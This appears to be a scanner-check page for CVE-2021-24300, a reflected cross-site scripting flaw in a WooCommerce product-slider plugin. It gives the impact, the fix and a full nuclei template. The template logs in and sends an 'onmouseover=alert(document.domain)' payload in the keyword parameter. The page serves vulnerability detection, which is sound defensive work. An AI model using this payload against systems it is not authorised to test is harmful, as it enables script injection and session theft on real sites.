WordPress WooCommerce <1.13.22 - Cross-Site Scripting

mediumseverity

6.1CVSS score

10.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress WooCommerce before 1.13.22 contains a reflected cross-site scripting vulnerability via the slider import search feature because it does not properly sanitize the keyword GET parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update WordPress WooCommerce plugin to version 1.13.22 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover%3Dalert%28document.domain%29%3B%2F%2F
Positive when: contains "value=\"\\\"onmouseover=alert(document.domain);//\">" and "PickPlugins Product Slider" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24300 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24300

info:
  name: WordPress WooCommerce <1.13.22 - Cross-Site Scripting
  author: cckuailong
  severity: medium
  description: WordPress WooCommerce before 1.13.22 contains a reflected cross-site scripting vulnerability via the slider import search feature because it does not properly sanitize the keyword GET parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update WordPress WooCommerce plugin to version 1.13.22 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5fbbc7ad-3f1a-48a1-b2eb-e57f153eb837
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24300
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24300
    cwe-id: CWE-79
    epss-score: 0.10587
    epss-percentile: 0.95821
    cpe: cpe:2.3:a:pickplugins:product_slider_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: pickplugins
    product: product_slider_for_woocommerce
    framework: wordpress
  tags: cve2021,cve,xss,wp,wordpress,wp-plugin,authenticated,wpscan,pickplugins,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="\"onmouseover=alert(document.domain);//">'
          - "PickPlugins Product Slider"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from